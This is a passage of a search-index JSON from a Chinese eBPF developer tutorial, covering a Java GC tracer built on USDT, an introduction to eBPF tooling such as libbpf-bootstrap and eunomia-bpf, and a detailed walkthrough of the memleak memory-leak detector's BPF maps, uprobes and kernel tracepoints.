handle_event 是一个回调函数，用于处理从perf event array收到的数据。这个函数会被 perf event array 触发，并在每次接收到新的事件时调用。函数首先将数据转换为 data_t 结构体，然后将当前时间格式化为字符串，并打印出事件的时间戳、CPU ID、进程 ID，以及垃圾回收的持续时间。 static void handle_event(void *ctx, int cpu, void *data, __u32 data_sz)\n{ struct data_t *e = (struct data_t *)data; struct tm *tm = NULL; char ts[16]; time_t t; time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); printf(\"%-8s %-7d %-7d %-7lld\\n\", ts, e->cpu, e->pid, e->ts/1000);\n}","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 用户态程序","id":"97","title":"用户态程序"},"98":{"body":"构建示例需要 clang、libelf 和 zlib。包名在不同的发行版中可能会有所不同。 在 Ubuntu/Debian 上，你需要执行以下命令： sudo apt install clang libelf1 libelf-dev zlib1g-dev 在 CentOS/Fedora 上，你需要执行以下命令： sudo dnf install clang elfutils-libelf elfutils-libelf-devel zlib-devel","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 安装依赖","id":"98","title":"安装依赖"},"99":{"body":"在对应的目录中，运行 Make 即可编译运行上述代码： $ make\n$ sudo ./javagc -p 12345\nTracing javagc time... Hit Ctrl-C to end.\nTIME CPU PID GC TIME\n10:00:01 10% 12345 50ms\n10:00:02 12% 12345 55ms\n10:00:03 9% 12345 47ms\n10:00:04 13% 12345 52ms\n10:00:05 11% 12345 50ms 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/15-javagc 参考资料： https://www.brendangregg.com/blog/2015-07-03/hacking-linux-usdt-ftrace.html https://github.com/iovisor/bcc/blob/master/libbpf-tools/javagc.c","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 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eBPF 的基本概念、常见的开发工具 » eBPF 入门开发实践教程零：介绍 eBPF 的基本概念、常见的开发工具","id":"0","title":"eBPF 入门开发实践教程零：介绍 eBPF 的基本概念、常见的开发工具"},"1":{"body":"eBPF 是一项革命性的技术，起源于 Linux 内核，可以在操作系统的内核中运行沙盒程序。它被用来安全和有效地扩展内核的功能，而不需要改变内核的源代码或加载内核模块。eBPF 通过允许在操作系统内运行沙盒程序，应用程序开发人员可以在运行时，可编程地向操作系统动态添加额外的功能。然后，操作系统保证安全和执行效率，就像在即时编译（JIT）编译器和验证引擎的帮助下进行本地编译一样。eBPF 程序在内核版本之间是可移植的，并且可以自动更新，从而避免了工作负载中断和节点重启。 今天，eBPF被广泛用于各类场景：在现代数据中心和云原生环境中，可以提供高性能的网络包处理和负载均衡；以非常低的资源开销，做到对多种细粒度指标的可观测性，帮助应用程序开发人员跟踪应用程序，为性能故障排除提供洞察力；保障应用程序和容器运行时的安全执行，等等。可能性是无穷的，而 eBPF 在操作系统内核中所释放的创新才刚刚开始[3]。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 1. eBPF简介：安全和有效地扩展内核","id":"1","title":"1. eBPF简介：安全和有效地扩展内核"},"10":{"body":"libbpf-bootstrap是一个基于libbpf库的BPF开发脚手架，从其 github 上可以得到其源码。 libbpf-bootstrap综合了BPF社区过去多年的实践，为开发者提了一个现代化的、便捷的工作流，实 现了一次编译，重复使用的目的。 基于libbpf-bootstrap的BPF程序对于源文件有一定的命名规则， 用于生成内核态字节码的bpf文件以.bpf.c结尾，用户态加载字节码的文件以.c结尾，且这两个文件的 前缀必须相同。 基于libbpf-bootstrap的BPF程序在编译时会先将*.bpf.c文件编译为 对应的.o文件，然后根据此文件生成skeleton文件，即*.skel.h，这个文件会包含内核态中定义的一些 数据结构，以及用于装载内核态代码的关键函数。在用户态代码include此文件之后调用对应的装载函数即可将 字节码装载到内核中。同样的，libbpf-bootstrap也有非常完备的入门教程，用户可以在 该处 得到详细的入门操作介绍。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » libbpf","id":"10","title":"libbpf"},"100":{"body":"通过本篇 eBPF 入门实践教程，我们学习了如何使用 eBPF 和 USDT 动态跟踪和分析 Java 的垃圾回收(GC)事件。我们了解了如何在用户态应用程序中设置 USDT 跟踪点，以及如何编写 eBPF 程序来捕获这些跟踪点的信息，从而更深入地理解和优化 Java GC 的行为和性能。 此外，我们也介绍了一些关于 Java GC、USDT 和 eBPF 的基础知识和实践技巧，这些知识和技巧对于想要在网络和系统性能分析领域深入研究的开发者来说是非常有价值的。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 总结","id":"100","title":"总结"},"101":{"body":"eBPF（扩展的伯克利数据包过滤器）是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。 在本篇教程中，我们将探讨如何使用 eBPF 编写 Memleak 程序，以监控程序的内存泄漏。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » eBPF 入门实践教程十六：编写 eBPF 程序 Memleak 监控内存泄漏","id":"101","title":"eBPF 入门实践教程十六：编写 eBPF 程序 Memleak 监控内存泄漏"},"102":{"body":"内存泄漏是计算机编程中的一种常见问题，其严重程度不应被低估。内存泄漏发生时，程序会逐渐消耗更多的内存资源，但并未正确释放。随着时间的推移，这种行为会导致系统内存逐渐耗尽，从而显著降低程序及系统的整体性能。 内存泄漏有多种可能的原因。这可能是由于配置错误导致的，例如程序错误地配置了某些资源的动态分配。它也可能是由于软件缺陷或错误的内存管理策略导致的，如在程序执行过程中忘记释放不再需要的内存。此外，如果一个应用程序的内存使用量过大，那么系统性能可能会因页面交换（swapping）而大幅下降，甚至可能导致应用程序被系统强制终止（Linux 的 OOM killer）。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 背景及其重要性","id":"102","title":"背景及其重要性"},"103":{"body":"调试内存泄漏问题是一项复杂且挑战性的任务。这涉及到详细检查应用程序的配置、内存分配和释放情况，通常需要应用专门的工具来帮助诊断。例如，有一些工具可以在应用程序启动时将 malloc() 函数调用与特定的检测工具关联起来，如 Valgrind memcheck，这类工具可以模拟 CPU 来检查所有内存访问，但可能会导致应用程序运行速度大大减慢。另一个选择是使用堆分析器，如 libtcmalloc，它相对较快，但仍可能使应用程序运行速度降低五倍以上。此外，还有一些工具，如 gdb，可以获取应用程序的核心转储并进行后处理以分析内存使用情况。然而，这些工具通常在获取核心转储时需要暂停应用程序，或在应用程序终止后才能调用 free() 函数。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 调试内存泄漏的挑战","id":"103","title":"调试内存泄漏的挑战"},"104":{"body":"在这种背景下，eBPF 的作用就显得尤为重要。eBPF 提供了一种高效的机制来监控和追踪系统级别的事件，包括内存的分配和释放。通过 eBPF，我们可以跟踪内存分配和释放的请求，并收集每次分配的调用堆栈。然后，我们可以分 析这些信息，找出执行了内存分配但未执行释放操作的调用堆栈，这有助于我们找出导致内存泄漏的源头。这种方式的优点在于，它可以实时地在运行的应用程序中进行，而无需暂停应用程序或进行复杂的前后处理。 memleak eBPF 工具可以跟踪并匹配内存分配和释放的请求，并收集每次分配的调用堆栈。随后，memleak 可以打印一个总结，表明哪些调用堆栈执行了分配，但是并没有随后进行释放。例如，我们运行命令： # ./memleak -p $(pidof allocs)\nAttaching to pid 5193, Ctrl+C to quit.\n[11:16:33] Top 2 stacks with outstanding allocations: 80 bytes in 5 allocations from stack main+0x6d [allocs] __libc_start_main+0xf0 [libc-2.21.so] [11:16:34] Top 2 stacks with outstanding allocations: 160 bytes in 10 allocations from stack main+0x6d [allocs] __libc_start_main+0xf0 [libc-2.21.so] 运行这个命令后，我们可以看到分配但未释放的内存来自于哪些堆栈，并且可以看到这些未释放的内存的大小和数量。 随着时间的推移，很显然，allocs 进程的 main 函数正在泄漏内存，每次泄漏 16 字节。幸运的是，我们不需要检查每个分配，我们得到了一个很好的总结，告诉我们哪个堆栈负责大量的泄漏。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » eBPF 的作用","id":"104","title":"eBPF 的作用"},"105":{"body":"在基本层面上，memleak 的工作方式类似于在内存分配和释放路径上安装监控设备。它通过在内存分配和释放函数中插入 eBPF 程序来达到这个目标。这意味着，当这些函数被调用时，memleak 就会记录一些重要信息，如调用者的进程 ID（PID）、分配的内存地址以及分配的内存大小等。当释放内存的函数被调用时，memleak 则会在其内部的映射表（map）中删除相应的内存分配记录。这种机制使得 memleak 能够准确地追踪到哪些内存块已被分配但未被释放。 对于用户态的常用内存分配函数，如 malloc 和 calloc 等，memleak 利用了用户态探测（uprobe）技术来实现监控。uprobe 是一种用于用户空间应用程序的动态追踪技术，它可以在运行时不修改二进制文件的情况下在任意位置设置断点，从而实现对特定函数调用的追踪。 对于内核态的内存分配函数，如 kmalloc 等，memleak 则选择使用了 tracepoint 来实现监控。Tracepoint 是一种在 Linux 内核中提供的动态追踪技术，它可以在内核运行时动态地追踪特定的事件，而无需重新编译内核或加载内核模块。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » memleak 的实现原理","id":"105","title":"memleak 的实现原理"},"106":{"body":"","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 内核态 eBPF 程序实现","id":"106","title":"内核态 eBPF 程序实现"},"107":{"body":"memleak 的内核态 eBPF 程序包含一些用于跟踪内存分配和释放的关键函数。在我们深入了解这些函数之前，让我们首先观察 memleak 所定义的一些数据结构，这些结构在其内核态和用户态程序中均有使用。 #ifndef __MEMLEAK_H\n#define __MEMLEAK_H #define ALLOCS_MAX_ENTRIES 1000000\n#define COMBINED_ALLOCS_MAX_ENTRIES 10240 struct alloc_info { __u64 size; // 分配的内存大小 __u64 timestamp_ns; // 分配时的时间戳，单位为纳秒 int stack_id; // 分配时的调用堆栈ID\n}; union combined_alloc_info { struct { __u64 total_size : 40; // 所有未释放分配的总大小 __u64 number_of_allocs : 24; // 所有未释放分配的总次数 }; __u64 bits; // 结构的位图表示\n}; #endif /* __MEMLEAK_H */ 这里定义了两个主要的数据结构：alloc_info 和 combined_alloc_info。 alloc_info 结构体包含了一个内存分配的基本信息，包括分配的内存大小 size、分配发生时的时间戳 timestamp_ns，以及触发分配的调用堆栈 ID stack_id。 combined_alloc_info 是一个联合体（union），它包含一个嵌入的结构体和一个 __u64 类型的位图表示 bits。嵌入的结构体有两个成员：total_size 和 number_of_allocs，分别代表所有未释放分配的总大小和总次数。其中 40 和 24 分别表示 total_size 和 number_of_allocs这两个成员变量所占用的位数，用来限制其大小。通过这样的位数限制，可以节省combined_alloc_info结构的存储空间。同时，由于total_size和number_of_allocs在存储时是共用一个unsigned long long类型的变量bits，因此可以通过在成员变量bits上进行位运算来访问和修改total_size和number_of_allocs，从而避免了在程序中定义额外的变量和函数的复杂性。 接下来，memleak 定义了一系列用于保存内存分配信息和分析结果的 eBPF 映射（maps）。这些映射都以 SEC(\".maps\") 的形式定义，表示它们属于 eBPF 程序的映射部分。 const volatile size_t min_size = 0;\nconst volatile size_t max_size = -1;\nconst volatile size_t page_size = 4096;\nconst volatile __u64 sample_rate = 1;\nconst volatile bool trace_all = false;\nconst volatile __u64 stack_flags = 0;\nconst volatile bool wa_missing_free = false; struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, pid_t); __type(value, u64); __uint(max_entries, 10240);\n} sizes SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); /* address */ __type(value, struct alloc_info); __uint(max_entries, ALLOCS_MAX_ENTRIES);\n} allocs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); /* stack id */ __type(value, union combined_alloc_info); __uint(max_entries, COMBINED_ALLOCS_MAX_ENTRIES);\n} combined_allocs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); __type(value, u64); __uint(max_entries, 10240);\n} memptrs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_STACK_TRACE); __type(key, u32);\n} stack_traces SEC(\".maps\"); static union combined_alloc_info initial_cinfo; 这段代码首先定义了一些可配置的参数，如 min_size, max_size, page_size, sample_rate, trace_all, stack_flags 和 wa_missing_free，分别表示最小分配大小、最大分配大小、页面大小、采样率、是否追踪所有分配、堆栈标志和是否工作在缺失释放（missing free）模式。 接着定义了五个映射： sizes：这是一个哈希类型的映射，键为进程 ID，值为 u64 类型，存储每个进程的分配大小。 allocs：这也是一个哈希类型的映射，键为分配的地址，值为 alloc_info 结构体，存储每个内存分配的详细信息。 combined_allocs：这是另一个哈希类型的映射，键为堆栈 ID，值为 combined_alloc_info 联合体，存储所有未释放分配的总大小和总次数。 memptrs：这也是一个哈希类型的映射，键和值都为 u64 类型，用于在用户空间和内核空间之间传递内存指针。 stack_traces：这是一个堆栈追踪类型的映射，键为 u32 类型，用于存储堆栈 ID。 以用户态的内存分配追踪部分为例，主要是挂钩内存相关的函数调用，如 malloc, free, calloc, realloc, mmap 和 munmap，以便在调用这些函数时进行数据记录。在用户态，memleak 主要使用了 uprobes 技术进行挂载。 每个函数调用被分为 \"enter\" 和 \"exit\" 两部分。\"enter\" 部分记录的是函数调用的参数，如分配的大小或者释放的地址。\"exit\" 部分则主要用于获取函数的返回值，如分配得到的内存地址。 这里，gen_alloc_enter, gen_alloc_exit, gen_free_enter 是实现记录行为的函数，他们分别用于记录分配开始、分配结束和释放开始的相关信息。 函数原型示例如下： SEC(\"uprobe\")\nint BPF_KPROBE(malloc_enter, size_t size)\n{ // 记录分配开始的相关信息 return gen_alloc_enter(size);\n} SEC(\"uretprobe\")\nint BPF_KRETPROBE(malloc_exit)\n{ // 记录分配结束的相关信息 return gen_alloc_exit(ctx);\n} SEC(\"uprobe\")\nint BPF_KPROBE(free_enter, void *address)\n{ // 记录释放开始的相关信息 return gen_free_enter(address);\n} 其中，malloc_enter 和 free_enter 是分别挂载在 malloc 和 free 函数入口处的探针（probes），用于在函数调用时进行数据记录。而 malloc_exit 则是挂载在 malloc 函数的返回处的探针，用于记录函数的返回值。 这些函数使用了 BPF_KPROBE 和 BPF_KRETPROBE 这两个宏来声明，这两个宏分别用于声明 kprobe（内核探针）和 kretprobe（内核返回探针）。具体来说，kprobe 用于在函数调用时触发，而 kretprobe 则是在函数返回时触发。 gen_alloc_enter 函数是在内存分配请求的开始时被调用的。这个函数主要负责在调用分配内存的函数时收集一些基本的信息。下面我们将深入探讨这个函数的实现。 static int gen_alloc_enter(size_t size)\n{ if (size < min_size || size > max_size) return 0; if (sample_rate > 1) { if (bpf_ktime_get_ns() % sample_rate != 0) return 0; } const pid_t pid = bpf_get_current_pid_tgid() >> 32; bpf_map_update_elem(&sizes, &pid, &size, BPF_ANY); if (trace_all) bpf_printk(\"alloc entered, size = %lu\\n\", size); return 0;\n} SEC(\"uprobe\")\nint BPF_KPROBE(malloc_enter, size_t size)\n{ return gen_alloc_enter(size);\n} 首先，gen_alloc_enter 函数接收一个 size 参数，这个参数表示请求分配的内存的大小。如果这个值不在 min_size 和 max_size 之间，函数将直接返回，不再进行后续的操作。这样可以使工具专注于追踪特定范围的内存分配请求，过滤掉不感兴趣的分配请求。 接下来，函数检查采样率 sample_rate。如果 sample_rate 大于1，意味着我们不需要追踪所有的内存分配请求，而是周期性地追踪。这里使用 bpf_ktime_get_ns 获取当前的时间戳，然后通过取模运算来决定是否需要追踪当前的内存分配请求。这是一种常见的采样技术，用于降低性能开销，同时还能够提供一个代表性的样本用于分析。 之后，函数使用 bpf_get_current_pid_tgid 函数获取当前进程的 PID。注意这里的 PID 实际上是进程和线程的组合 ID，我们通过右移 32 位来获取真正的进程 ID。 函数接下来更新 sizes 这个 map，这个 map 以进程 ID 为键，以请求的内存分配大小为值。BPF_ANY 表示如果 key 已存在，那么更新 value，否则就新建一个条目。 最后，如果启用了 trace_all 标志，函数将打印一条信息，说明发生了内存分配。 BPF_KPROBE 宏用于 最后定义了 BPF_KPROBE(malloc_enter, size_t size)，它会在 malloc 函数被调用时被 BPF uprobe 拦截执行，并通过 gen_alloc_enter 来记录内存分配大小。 我们刚刚分析了内存分配的入口函数 gen_alloc_enter，现在我们来关注这个过程的退出部分。具体来说，我们将讨论 gen_alloc_exit2 函数以及如何从内存分配调用中获取返回的内存地址。 static int gen_alloc_exit2(void *ctx, u64 address)\n{ const pid_t pid = bpf_get_current_pid_tgid() >> 32; struct alloc_info info; const u64* size = bpf_map_lookup_elem(&sizes, &pid); if (!size) return 0; // missed alloc entry __builtin_memset(&info, 0, sizeof(info)); info.size = *size; bpf_map_delete_elem(&sizes, &pid); if (address != 0) { info.timestamp_ns = bpf_ktime_get_ns(); info.stack_id = bpf_get_stackid(ctx, &stack_traces, stack_flags); bpf_map_update_elem(&allocs, &address, &info, BPF_ANY); update_statistics_add(info.stack_id, info.size); } if (trace_all) { bpf_printk(\"alloc exited, size = %lu, result = %lx\\n\", info.size, address); } return 0;\n}\nstatic int gen_alloc_exit(struct pt_regs *ctx)\n{ return gen_alloc_exit2(ctx, PT_REGS_RC(ctx));\n} SEC(\"uretprobe\")\nint BPF_KRETPROBE(malloc_exit)\n{ return gen_alloc_exit(ctx);\n} gen_alloc_exit2 函数在内存分配操作完成时被调用，这个函数接收两个参数，一个是上下文 ctx，另一个是内存分配函数返回的内存地址 address。 首先，它获取当前线程的 PID，然后使用这个 PID 作为键在 sizes 这个 map 中查找对应的内存分配大小。如果没有找到（也就是说，没有对应的内存分配操作的入口），函数就会直接返回。 接着，函数清除 info 结构体的内容，并设置它的 size 字段为之前在 map 中找到的内存分配大小。并从 sizes 这个 map 中删除相应的元素，因为此时内存分配操作已经完成，不再需要这个信息。 接下来，如果 address 不为 0（也就是说，内存分配操作成功了），函数就会进一步收集一些额外的信息。首先，它获取当前的时间戳作为内存分配完成的时间，并获取当前的堆栈跟踪。这些信息都会被储存在 info 结构体中，并随后更新到 allocs 这个 map 中。 最后，函数调用 update_statistics_add 更新统计数据，如果启用了所有内存分配操作的跟踪，函数还会打印一些关于内存分配操作的信息。 请注意，gen_alloc_exit 函数是 gen_alloc_exit2 的一个包装，它将 PT_REGS_RC(ctx) 作为 address 参数传递给 gen_alloc_exit2。在我们的讨论中，我们刚刚提到在gen_alloc_exit2函数中，调用了update_statistics_add` 函数以更新内存分配的统计数据。下面我们详细看一下这个函数的具体实现。 static void update_statistics_add(u64 stack_id, u64 sz)\n{ union combined_alloc_info *existing_cinfo; existing_cinfo = bpf_map_lookup_or_try_init(&combined_allocs, &stack_id, &initial_cinfo); if (!existing_cinfo) return; const union combined_alloc_info incremental_cinfo = { .total_size = sz, .number_of_allocs = 1 }; __sync_fetch_and_add(&existing_cinfo->bits, incremental_cinfo.bits);\n} update_statistics_add 函数接收两个参数：当前的堆栈 ID stack_id 以及内存分配的大小 sz。这两个参数都在内存分配事件中收集到，并且用于更新内存分配的统计数据。 首先，函数尝试在 combined_allocs 这个 map 中查找键值为当前堆栈 ID 的元素，如果找不到，就用 initial_cinfo（这是一个默认的 combined_alloc_info 结构体，所有字段都为零）来初始化新的元素。 接着，函数创建一个 incremental_cinfo，并设置它的 total_size 为当前内存分配的大小，设置 number_of_allocs 为 1。这是因为每次调用 update_statistics_add 函数都表示有一个新的内存分配事件发生，而这个事件的内存分配大小就是 sz。 最后，函数使用 __sync_fetch_and_add 函数原子地将 incremental_cinfo 的值加到 existing_cinfo 中。请注意这个步骤是线程安全的，即使有多个线程并发地调用 update_statistics_add 函数，每个内存分配事件也能正确地记录到统计数据中。 总的来说，update_statistics_add 函数实现了内存分配统计的更新逻辑，通过维护每个堆栈 ID 的内存分配总量和次数，我们可以深入了解到程序的内存分配行为。 在我们对内存分配的统计跟踪过程中，我们不仅要统计内存的分配，还要考虑内存的释放。在上述代码中，我们定义了一个名为 update_statistics_del 的函数，其作用是在内存释放时更新统计信息。而 gen_free_enter 函数则是在进程调用 free 函数时被执行。 static void update_statistics_del(u64 stack_id, u64 sz)\n{ union combined_alloc_info *existing_cinfo; existing_cinfo = bpf_map_lookup_elem(&combined_allocs, &stack_id); if (!existing_cinfo) { bpf_printk(\"failed to lookup combined allocs\\n\"); return; } const union combined_alloc_info decremental_cinfo = { .total_size = sz, .number_of_allocs = 1 }; __sync_fetch_and_sub(&existing_cinfo->bits, decremental_cinfo.bits);\n} update_statistics_del 函数的参数为堆栈 ID 和要释放的内存块大小。函数首先在 combined_allocs 这个 map 中使用当前的堆栈 ID 作为键来查找相应的 combined_alloc_info 结构体。如果找不到，就输出错误信息，然后函数返回。如果找到了，就会构造一个名为 decremental_cinfo 的 combined_alloc_info 结构体，设置它的 total_size 为要释放的内存大小，设置 number_of_allocs 为 1。然后使用 __sync_fetch_and_sub 函数原子地从 existing_cinfo 中减去 decremental_cinfo 的值。请注意，这里的 number_of_allocs 是负数，表示减少了一个内存分配。 static int gen_free_enter(const void *address)\n{ const u64 addr = (u64)address; const struct alloc_info *info = bpf_map_lookup_elem(&allocs, &addr); if (!info) return 0; bpf_map_delete_elem(&allocs, &addr); update_statistics_del(info->stack_id, info->size); if (trace_all) { bpf_printk(\"free entered, address = %lx, size = %lu\\n\", address, info->size); } return 0;\n} SEC(\"uprobe\")\nint BPF_KPROBE(free_enter, void *address)\n{ return gen_free_enter(address);\n} 接下来看 gen_free_enter 函数。它接收一个地址作为参数，这个地址是内存分配的结果，也就是将要释放的内存的起始地址。函数首先在 allocs 这个 map 中使用这个地址作为键来查找对应的 alloc_info 结构体。如果找不到，那么就直接返回，因为这意味着这个地址并没有被分配过。如果找到了，那么就删除这个元素，并且调用 update_statistics_del 函数来更新统计数据。最后，如果启用了全局追踪，那么还会输出一条信息，包括这个地址以及它的大小。 在我们追踪和统计内存分配的同时，我们也需要对内核态的内存分配和释放进行追踪。在Linux内核中，kmem_cache_alloc函数和kfree函数分别用于内核态的内存分配和释放。 SEC(\"tracepoint/kmem/kfree\")\nint memleak__kfree(void *ctx)\n{ const void *ptr; if (has_kfree()) { struct trace_event_raw_kfree___x *args = ctx; ptr = BPF_CORE_READ(args, ptr); } else { struct trace_event_raw_kmem_free___x *args = ctx; ptr = BPF_CORE_READ(args, ptr); } return gen_free_enter(ptr);\n} 上述代码片段定义了一个函数memleak__kfree，这是一个bpf程序，会在内核调用kfree函数时执行。首先，该函数检查是否存在kfree函数。如果存在，则会读取传递给kfree函数的参数（即要释放的内存块的地址），并保存到变量ptr中；否则，会读取传递给kmem_free函数的参数（即要释放的内存块的地址），并保存到变量ptr中。接着，该函数会调用之前定义的gen_free_enter函数来处理该内存块的释放。 SEC(\"tracepoint/kmem/kmem_cache_alloc\")\nint memleak__kmem_cache_alloc(struct trace_event_raw_kmem_alloc *ctx)\n{ if (wa_missing_free) gen_free_enter(ctx->ptr); gen_alloc_enter(ctx->bytes_alloc); return gen_alloc_exit2(ctx, (u64)(ctx->ptr));\n} 这段代码定义了一个函数 memleak__kmem_cache_alloc，这也是一个bpf程序，会在内核调用 kmem_cache_alloc 函数时执行。如果标记 wa_missing_free 被设置，则调用 gen_free_enter 函数处理可能遗漏的释放操作。然后，该函数会调用 gen_alloc_enter 函数来处理内存分配，最后调用gen_alloc_exit2函数记录分配的结果。 这两个 bpf 程序都使用了 SEC 宏定义了对应的 tracepoint，以便在相应的内核函数被调用时得到执行。在Linux内核中，tracepoint 是一种可以在内核中插入的静态钩子，可以用来收集运行时的内核信息，它在调试和性能分析中非常有用。 在理解这些代码的过程中，要注意 BPF_CORE_READ 宏的使用。这个宏用于在 bpf 程序中读取内核数据。在 bpf 程序中，我们不能直接访问内核内存，而需要使用这样的宏来安全地读取数据。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » memleak 内核态 eBPF 程序实现","id":"107","title":"memleak 内核态 eBPF 程序实现"},"108":{"body":"在理解 BPF 内核部分之后，我们转到用户空间程序。用户空间程序与BPF内核程序紧密配合，它负责将BPF程序加载到内核，设置和管理BPF map，以及处理从BPF程序收集到的数据。用户态程序较长，我们这里可以简要参考一下它的挂载点。 int attach_uprobes(struct memleak_bpf *skel)\n{ ATTACH_UPROBE_CHECKED(skel, malloc, malloc_enter); ATTACH_URETPROBE_CHECKED(skel, malloc, malloc_exit); ATTACH_UPROBE_CHECKED(skel, calloc, calloc_enter); ATTACH_URETPROBE_CHECKED(skel, calloc, calloc_exit); ATTACH_UPROBE_CHECKED(skel, realloc, realloc_enter); ATTACH_URETPROBE_CHECKED(skel, realloc, realloc_exit); ATTACH_UPROBE_CHECKED(skel, mmap, mmap_enter); ATTACH_URETPROBE_CHECKED(skel, mmap, mmap_exit); ATTACH_UPROBE_CHECKED(skel, posix_memalign, posix_memalign_enter); ATTACH_URETPROBE_CHECKED(skel, posix_memalign, posix_memalign_exit); ATTACH_UPROBE_CHECKED(skel, memalign, memalign_enter); ATTACH_URETPROBE_CHECKED(skel, memalign, memalign_exit); ATTACH_UPROBE_CHECKED(skel, free, free_enter); ATTACH_UPROBE_CHECKED(skel, munmap, munmap_enter); // the following probes are intentinally allowed to fail attachment // deprecated in libc.so bionic ATTACH_UPROBE(skel, valloc, valloc_enter); ATTACH_URETPROBE(skel, valloc, valloc_exit); // deprecated in libc.so bionic ATTACH_UPROBE(skel, pvalloc, pvalloc_enter); ATTACH_URETPROBE(skel, pvalloc, pvalloc_exit); // added in C11 ATTACH_UPROBE(skel, aligned_alloc, aligned_alloc_enter); ATTACH_URETPROBE(skel, aligned_alloc, aligned_alloc_exit); return 0;\n} 在这段代码中，我们看到一个名为attach_uprobes的函数，该函数负责将uprobes（用户空间探测点）挂载到内存分配和释放函数上。在Linux中，uprobes是一种内核机制，可以在用户空间程序中的任意位置设置断点，这使得我们可以非常精确地观察和控制用户空间程序的行为。 这里，每个内存相关的函数都通过两个uprobes进行跟踪：一个在函数入口（enter），一个在函数退出（exit）。因此，每当这些函数被调用或返回时，都会触发一个uprobes事件，进而触发相应的BPF程序。 在具体的实现中，我们使用了ATTACH_UPROBE和ATTACH_URETPROBE两个宏来附加uprobes和uretprobes（函数返回探测点）。每个宏都需要三个参数：BPF程序的骨架（skel），要监视的函数名，以及要触发的BPF程序的名称。 这些挂载点包括常见的内存分配函数，如malloc、calloc、realloc、mmap、posix_memalign、memalign、free等，以及对应的退出点。另外，我们也观察一些可能的分配函数，如valloc、pvalloc、aligned_alloc等，尽管它们可能不总是存在。 这些挂载点的目标是捕获所有可能的内存分配和释放事件，从而使我们的内存泄露检测工具能够获取到尽可能全面的数据。这种方法可以让我们不仅能跟踪到内存分配和释放，还能得到它们发生的上下文信息，例如调用栈和调用次数，从而帮助我们定位和修复内存泄露问题。 注意，一些内存分配函数可能并不存在或已弃用，比如valloc、pvalloc等，因此它们的附加可能会失败。在这种情况下，我们允许附加失败，并不会阻止程序的执行。这是因为我们更关注的是主流和常用的内存分配函数，而这些已经被弃用的函数往往在实际应用中较少使用。 完整的源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/16-memleak 参考： https://github.com/iovisor/bcc/blob/master/libbpf-tools/memleak.c","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 用户态程序","id":"108","title":"用户态程序"},"109":{"body":"$ make\n$ sudo ./memleak using default object: libc.so.6\nusing page size: 4096\ntracing kernel: true\nTracing outstanding memory allocs... Hit Ctrl-C to end\n[17:17:27] Top 10 stacks with outstanding allocations:\n1236992 bytes in 302 allocations from stack 0 []  1 []  2 []  3 []  4 []  5 []  6 [] \n...","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 编译运行","id":"109","title":"编译运行"},"11":{"body":"开发、构建和分发 eBPF 一直以来都是一个高门槛的工作，使用 BCC、bpftrace 等工具开发效率高、可移植性好，但是分发部署时需要安装 LLVM、Clang等编译环境，每次运行的时候执行本地或远程编译过程，资源消耗较大；使用原生的 CO-RE libbpf时又需要编写不少用户态加载代码来帮助 eBPF 程序正确加载和从内核中获取上报的信息，同时对于 eBPF 程序的分发、管理也没有很好地解决方案。 eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链，是为了简化 eBPF 程序的开发、构建、分发、运行而设计的，基于 libbpf 的 CO-RE 轻量级开发框架。 使用 eunomia-bpf ，可以： 在编写 eBPF 程序或工具时只编写内核态代码，自动获取内核态导出信息，并作为模块动态加载； 使用 WASM 进行用户态交互程序的开发，在 WASM 虚拟机内部控制整个 eBPF 程序的加载和执行，以及处理相关数据； eunomia-bpf 可以将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块，跨架构和内核版本进行分发，无需重新编译即可动态加载运行。 eunomia-bpf 由一个编译工具链和一个运行时库组成, 对比传统的 BCC、原生 libbpf 等框架，大幅简化了 eBPF 程序的开发流程，在大多数时候只需编写内核态代码，即可轻松构建、打包、发布完整的 eBPF 应用，同时内核态 eBPF 代码保证和主流的 libbpf, libbpfgo, libbpf-rs 等开发框架的 100% 兼容性。需要编写用户态代码的时候，也可以借助 Webassembly 实现通过多种语言进行用户态开发。和 bpftrace 等脚本工具相比, eunomia-bpf 保留了类似的便捷性, 同时不仅局限于 trace 方面, 可以用于更多的场景, 如网络、安全等等。 eunomia-bpf 项目 Github 地址: https://github.com/eunomia-bpf/eunomia-bpf gitee 镜像: https://gitee.com/anolis/eunomia","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eunomia-bpf","id":"11","title":"eunomia-bpf"},"110":{"body":"通过本篇 eBPF 入门实践教程，您已经学习了如何编写 Memleak eBPF 监控程序，以实时监控程序的内存泄漏。您已经了解了 eBPF 在内存监控方面的应用，学会了使用 BPF API 编写 eBPF 程序，创建和使用 eBPF 